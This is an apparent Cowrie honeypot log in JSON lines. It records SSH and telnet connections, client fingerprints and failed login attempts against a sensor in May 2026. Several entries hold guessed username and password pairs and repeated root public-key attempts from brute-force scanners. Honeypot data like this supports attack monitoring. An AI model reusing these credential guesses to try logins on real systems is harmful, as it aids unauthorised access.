{"eventid":"cowrie.session.connect","src_ip":"89.45.12.136","src_port":9162,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4b3caaf7885","protocol":"ssh","message":"New connection: 89.45.12.136:9162 (10.17.0.5:22) [session: d4b3caaf7885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:45.807725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:45.813125Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:45.947802Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:e7:87:f3:f1:20:b2:a8:05:f1:6b:74:36:9d:33:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq+TvdNlaQm6aQ/7m+rW5rc9LhLTjynRyJ5siBx8sGPoW8PvCp/O7p9FmkMQYZ5slJlUzVndYCkM7WOscKYFCIjOOXgv5jeiHm1Jok7lIf2BrfBjNNws+TLjCu+U2FaTPYLUIf8FUzJsrcbL2dfnC50yFjRHNpMvgLVmTLnWOXFZQxoX1JRRGESiKsNQiAaYjmw3EZcvk9qdvQQ5qhtk9+/FxN0xOmxQvQDB1OjyOwAtV70K3m5E0Go9OBzH6/i3FuPm5GpBoer3ZEiKUSHHgydYqCwcVT8DccE/pnvjHjIctIXzNGiGLHBmz7WUdlDwDktKPQ3H4wkwJm3Jxe0cAj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:e7:87:f3:f1:20:b2:a8:05:f1:6b:74:36:9d:33:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:46.589269Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:e7:87:f3:f1:20:b2:a8:05:f1:6b:74:36:9d:33:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq+TvdNlaQm6aQ/7m+rW5rc9LhLTjynRyJ5siBx8sGPoW8PvCp/O7p9FmkMQYZ5slJlUzVndYCkM7WOscKYFCIjOOXgv5jeiHm1Jok7lIf2BrfBjNNws+TLjCu+U2FaTPYLUIf8FUzJsrcbL2dfnC50yFjRHNpMvgLVmTLnWOXFZQxoX1JRRGESiKsNQiAaYjmw3EZcvk9qdvQQ5qhtk9+/FxN0xOmxQvQDB1OjyOwAtV70K3m5E0Go9OBzH6/i3FuPm5GpBoer3ZEiKUSHHgydYqCwcVT8DccE/pnvjHjIctIXzNGiGLHBmz7WUdlDwDktKPQ3H4wkwJm3Jxe0cAj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:46.592966Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:3f:b9:46:61:98:fa:c3:ad:a5:94:64:3a:d3:d9:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpOT3itpTrEFLROOXYYE6osadTPp00BSSGJ1+rgV1p0xw96v/MvS6VErE1kniO8PTjUUIcjxyNq6x7XBaNfAmSOSJ2NUb0yefbi/ibUuGoM0sICRsPWAz8GUP5sGIFb2qVkzqO2CF68GEpgIjeeJOMo0OnVeofFeIyv0QBuTAo1apxI7uv+Odge1T0hXoLSHP2vOOv2N9xPSx89pzGv/5sYW3FApFBKFaW+rt4WBGzXo7CVeZ0cm07PfZN7Ocou5RWsEYSMPLKpQt0qxERXaUQu4mHua9rhGd3Jw2zzP/KWp/fmVBHQrE4Gl3wjveIsBv54EpuBX4yEg2d+DJoEUQD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:3f:b9:46:61:98:fa:c3:ad:a5:94:64:3a:d3:d9:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:46.725339Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:3f:b9:46:61:98:fa:c3:ad:a5:94:64:3a:d3:d9:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpOT3itpTrEFLROOXYYE6osadTPp00BSSGJ1+rgV1p0xw96v/MvS6VErE1kniO8PTjUUIcjxyNq6x7XBaNfAmSOSJ2NUb0yefbi/ibUuGoM0sICRsPWAz8GUP5sGIFb2qVkzqO2CF68GEpgIjeeJOMo0OnVeofFeIyv0QBuTAo1apxI7uv+Odge1T0hXoLSHP2vOOv2N9xPSx89pzGv/5sYW3FApFBKFaW+rt4WBGzXo7CVeZ0cm07PfZN7Ocou5RWsEYSMPLKpQt0qxERXaUQu4mHua9rhGd3Jw2zzP/KWp/fmVBHQrE4Gl3wjveIsBv54EpuBX4yEg2d+DJoEUQD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:46.729572Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:78:f5:a6:89:67:ec:10:ae:32:0e:a5:7a:07:8b:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAw/AM0Tkf1ghp7AI1qRmr5QQxDJTwZndXaNkVg20X2yGGsV1JMunEoVDwLpTHShs7dYdNHKZTPOp4PKBEj8y7lImN6QgpVrjSbzIopR36Mmidzc2oiOAEroJEo5E+tdgPfqQ8ql3XDRxwtxkk01SiheMv0Fny/cmD3LhxlW+eiVE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:78:f5:a6:89:67:ec:10:ae:32:0e:a5:7a:07:8b:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:46.863078Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:78:f5:a6:89:67:ec:10:ae:32:0e:a5:7a:07:8b:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAw/AM0Tkf1ghp7AI1qRmr5QQxDJTwZndXaNkVg20X2yGGsV1JMunEoVDwLpTHShs7dYdNHKZTPOp4PKBEj8y7lImN6QgpVrjSbzIopR36Mmidzc2oiOAEroJEo5E+tdgPfqQ8ql3XDRxwtxkk01SiheMv0Fny/cmD3LhxlW+eiVE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:46.866920Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:c4:3c:f9:e4:d4:8b:68:5a:76:1f:ad:3f:da:7f:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDR948AnFBJr74vb1FFc0l8KlvhwauAy5YiyrvcsZsfodQi7MDcpdsW79JAfpDTnrZ+J8Bf6yEEb+QsX/mR0lC6OI1FrB9BLa2gJxiGv3ghNZPL3il/k1sln/edDHvYZsiyjX7v8+oZAoiKsZQvw2LjTMcZKREWSBUvvN55JJK2hcSXjFJF4miP3oNn5/E3OoqTTeI6vS0bWB+kQpEW3kGhlYFRj1/r8FOzDx6MDu9/56O9cg+dP/TpyuymqlwCPpE0hmk3uqXDd0euItAq/3pcb/nta6DAIatMuld8Jx4z+5yfxwWOfVfXIIFQiGcL6AlDPIsi9FhYNuoDTVs3GOc3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:c4:3c:f9:e4:d4:8b:68:5a:76:1f:ad:3f:da:7f:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:46.999914Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:c4:3c:f9:e4:d4:8b:68:5a:76:1f:ad:3f:da:7f:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDR948AnFBJr74vb1FFc0l8KlvhwauAy5YiyrvcsZsfodQi7MDcpdsW79JAfpDTnrZ+J8Bf6yEEb+QsX/mR0lC6OI1FrB9BLa2gJxiGv3ghNZPL3il/k1sln/edDHvYZsiyjX7v8+oZAoiKsZQvw2LjTMcZKREWSBUvvN55JJK2hcSXjFJF4miP3oNn5/E3OoqTTeI6vS0bWB+kQpEW3kGhlYFRj1/r8FOzDx6MDu9/56O9cg+dP/TpyuymqlwCPpE0hmk3uqXDd0euItAq/3pcb/nta6DAIatMuld8Jx4z+5yfxwWOfVfXIIFQiGcL6AlDPIsi9FhYNuoDTVs3GOc3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:47.003517Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:bd:b9:47:3c:d7:a4:65:e3:52:d3:81:9a:fa:4a:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKknSaqSl8M07OaoOxBGWapVmszAKjxKGhY2wC8+wPbUTWk5SDYQA8Y2qGtKLzX2kQOLxkpzGRYcZMsqVtAGQ5BO4l9Sl5gC/iMOFeAvPmX6d7FjI4ekabkppWVIisTgLcOzkNdNBvIbHxuf5FKwoENpTg4ix0jMg6s9R0R9NPj5Bz5NQ3jaaF1DmoDqa1956PnWZ9y4BFa0e22PoiD3nRejqpsBkYxJ8OrE9pPONVM6FX875WjmidPQdBV6O+yUDyR+1al6g9+hE1RFoWs6tmm/vTvZ2BAuJd0M4kaiobh2diu/jKbn8r6lQN3MG06EgiviyyFuIwl9IvtQrnVddP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:bd:b9:47:3c:d7:a4:65:e3:52:d3:81:9a:fa:4a:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:47.139901Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:bd:b9:47:3c:d7:a4:65:e3:52:d3:81:9a:fa:4a:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKknSaqSl8M07OaoOxBGWapVmszAKjxKGhY2wC8+wPbUTWk5SDYQA8Y2qGtKLzX2kQOLxkpzGRYcZMsqVtAGQ5BO4l9Sl5gC/iMOFeAvPmX6d7FjI4ekabkppWVIisTgLcOzkNdNBvIbHxuf5FKwoENpTg4ix0jMg6s9R0R9NPj5Bz5NQ3jaaF1DmoDqa1956PnWZ9y4BFa0e22PoiD3nRejqpsBkYxJ8OrE9pPONVM6FX875WjmidPQdBV6O+yUDyR+1al6g9+hE1RFoWs6tmm/vTvZ2BAuJd0M4kaiobh2diu/jKbn8r6lQN3MG06EgiviyyFuIwl9IvtQrnVddP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:47.143839Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:44:47.276998Z","src_ip":"89.45.12.136","session":"d4b3caaf7885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59872,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dbd1769741b","protocol":"telnet","message":"New connection: 50.6.8.71:59872 (10.17.0.5:23) [session: 0dbd1769741b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:45:08.024494Z"}
{"eventid":"cowrie.session.closed","duration":120.00790047645569,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:45:22.818541Z","src_ip":"189.14.113.3","session":"1829d2b625e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.14.113.3","src_port":54231,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c0288681f69","protocol":"telnet","message":"New connection: 189.14.113.3:54231 (10.17.0.5:23) [session: 1c0288681f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:45:23.151094Z"}
{"eventid":"cowrie.session.closed","duration":120.00378942489624,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:45:25.626491Z","src_ip":"189.14.113.3","session":"a4d77892833b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.14.113.3","src_port":54311,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a2be2bb8427","protocol":"telnet","message":"New connection: 189.14.113.3:54311 (10.17.0.5:23) [session: 1a2be2bb8427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:45:28.948945Z"}
{"eventid":"cowrie.session.closed","duration":0.6139357089996338,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:45:29.562735Z","src_ip":"189.14.113.3","session":"1a2be2bb8427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.410773277282715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:45:39.435138Z","src_ip":"50.6.8.71","session":"0dbd1769741b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01482892036438,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:47:23.165770Z","src_ip":"189.14.113.3","session":"1c0288681f69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.220.3.165","src_port":48112,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd255aaa246b","protocol":"telnet","message":"New connection: 31.220.3.165:48112 (159.203.135.109:23) [session: dd255aaa246b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:48:31.957243Z"}
{"eventid":"cowrie.session.closed","duration":31.71244502067566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:49:03.669554Z","src_ip":"31.220.3.165","session":"dd255aaa246b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":54324,"dst_ip":"159.203.135.109","dst_port":22,"session":"e455a8db228d","protocol":"ssh","message":"New connection: 31.57.216.11:54324 (159.203.135.109:22) [session: e455a8db228d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:20.226266Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:20.231335Z","src_ip":"31.57.216.11","session":"e455a8db228d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":54334,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9d240ed62aa","protocol":"ssh","message":"New connection: 31.57.216.11:54334 (159.203.135.109:22) [session: c9d240ed62aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:20.427863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:20.433060Z","src_ip":"31.57.216.11","session":"c9d240ed62aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:20.536375Z","src_ip":"31.57.216.11","session":"c9d240ed62aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jetadmin","password":"Centos123!","message":"login attempt [jetadmin/Centos123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:20.886141Z","src_ip":"31.57.216.11","session":"c9d240ed62aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:21.996027Z","src_ip":"31.57.216.11","session":"c9d240ed62aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":35876,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d91f4e080bf","protocol":"ssh","message":"New connection: 107.0.200.227:35876 (159.203.135.109:22) [session: 1d91f4e080bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:39.307433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:39.314426Z","src_ip":"107.0.200.227","session":"1d91f4e080bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:39.348386Z","src_ip":"107.0.200.227","session":"1d91f4e080bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sairam123","message":"login attempt [root/sairam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:39.509999Z","src_ip":"107.0.200.227","session":"1d91f4e080bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:54:40.545434Z","src_ip":"107.0.200.227","session":"1d91f4e080bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":44200,"dst_ip":"159.203.135.109","dst_port":22,"session":"af22b95a3bd6","protocol":"ssh","message":"New connection: 81.192.46.49:44200 (159.203.135.109:22) [session: af22b95a3bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:55:03.456876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:55:03.461661Z","src_ip":"81.192.46.49","session":"af22b95a3bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:55:03.578429Z","src_ip":"81.192.46.49","session":"af22b95a3bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:55:04.084189Z","src_ip":"81.192.46.49","session":"af22b95a3bd6","protocol":"ssh"}
